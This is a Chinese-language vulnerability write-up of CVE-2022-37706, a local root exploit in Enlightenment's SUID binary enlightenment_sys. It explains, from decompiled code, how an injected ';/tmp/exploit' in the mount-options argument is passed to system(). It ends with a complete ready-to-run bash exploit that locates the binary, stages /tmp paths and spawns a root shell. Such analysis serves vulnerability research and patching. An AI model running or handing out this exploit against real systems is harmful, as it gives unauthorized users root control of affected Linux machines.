CVE-2022-37706

这是一个Linux上的提权漏洞

先需要安装 apt install enlightenment

/usr/lib/x86_64-linux-gnu/enlightenment/utils/ 下的 enlightenment_sys 文件 其中就包含了一段可以利用的提权代码。

  eina_init();
  uid = getuid();
  v56 = getgid();
  LODWORD(v57) = getegid();
  v11 = getgroups(0x10000, v64);
  if ( v11 < 0 )
  {
    puts("ERROR: MEMBER OF MORE THAN 65536 GROUPS");
    exit(3);
  }
  v58 = v11;
  if ( setuid(0) )
  {
    puts("ERROR: UNABLE TO ASSUME ROOT PRIVILEGES");// 提升了它的特权。
    exit(5);
  }
  v12 = setgid(0);
  if ( v12 )
  {
    puts("ERROR: UNABLE TO ASSUME ROOT GROUP PRIVILEGES");
    exit(7);
  }

我们的想法就是想办法执行这段代码后,通过执行system(“/bin/sh”) 来提权并getshell

这一段就是在判断传入的参数是否为help 我们不用管他,不传入help即可。

v7是被/阶段后的字符串它将会被再次截断 来与 mount 进行比较从而进入 if 。

/bin/mount 实际上是 linux 的文件目录,在之后会通过文件查找来搜索该路径,所以我们的第一个参数就是 /bin/mount

然后就进入了提权的代码段

删除了很多环境变量,这是
安全预防措施以不
调用另一个非预期的二进制文件。

然后来到了299行附近。这里我们需要让main函数的第一个参数为 6 .

if ( *v26 == 45 && !strcmp(v26, “-o”) && (eina_strlcpy)(v68, parameter_2[3], 64LL) <= 63 )

由上面这句可以发现 第二个参数需要为 -o

然后进入while循环,通过调整传入参数的顺序来让 v54 v28 v56 都被赋值,并且最后进入下面这个else if 后的结果是 -1&-1&-1&-1从而进入接下来 的函数

观察代码可以发现,每经过一次循环就截断一次v29,并进行赋值或比较。而v29的来源正是 传入的第三个参数

else if ( strncmp(v29, "utf8,", 5uLL)
         && strncmp(v29, "utf8=0,", 7uLL)
         && strncmp(v29, "utf8=1,", 7uLL)
         && strncmp(v29, "iocharset=utf8,", 0xFuLL) )

所以第三个参数是

noexec,nosuid,utf8,nodev,iocharset=utf8,utf8=0,utf8=1,uid=$(id -u), “/dev/../tmp/;/tmp/exploit”

后面这个部分是需要我们创建的文件路径,这是为getshell做准备的。

来到350行附近,第348行的if我们是不会进入的,但v49是 传入的第四个参数。 由441行可知 ,它的前5个字节必须要是 /dev/

由375行可以发现v51和v50的地址要相差6,所以最终的 第四个参数 是 /tmp///net

最后程序将检测 /dev/net 目录是否存在

所以我们需要创建目录 mkdir -p /tmp/net

为了获取system的参数,先创建文件路径 mkdir -p “/dev/../tmp/;/tmp/exploit”

当system 获取的参数是 noexec,nosuid,utf8,nodev,iocharset=utf8,utf8=0,utf8=1,uid=$(id -u), “/dev/../tmp/;/tmp/exploit”

由于 eina_strbuf_append_printf() 它变成了 /bin/mount -o noexec,nosuid,utf8,nodev,iocharset=utf8,utf8=0,utf8=1,uid=$(id -u), /dev/../tmp/;/tmp/exploit /tmp///net 这里去掉了 “”

由于; 会执行system 的参数是 /tmp/exploit

可以利用重定向,将 /tmp/exploit 重定向为 “/bin/sh”

最终完成提权,并且getshell

exp如下

#!/bin/bash

echo "CVE-2022-37706"
echo "[*] Trying to find the vulnerable SUID file..."
echo "[*] This may take few seconds..."

file=$(find / -name enlightenment_sys -perm -4000 2>/dev/null | head -1)
if [[ -z ${file} ]]
then
    echo "[-] Couldn't find the vulnerable SUID file..."
    echo "[*] Enlightenment should be installed on your system."
    exit 1
fi

echo "[+] Vulnerable SUID binary found!"
echo "[+] Trying to pop a root shell!"
mkdir -p /tmp/net
mkdir -p "/dev/../tmp/;/tmp/exploit"

echo "/bin/sh" > /tmp/exploit
chmod a+x /tmp/exploit
echo "[+] Enjoy the root shell :)"

${file} /bin/mount -o noexec,nosuid,utf8,nodev,iocharset=utf8,utf8=0,utf8=1,uid=$(id -u), "/dev/../tmp/;/tmp/exploit" /tmp///net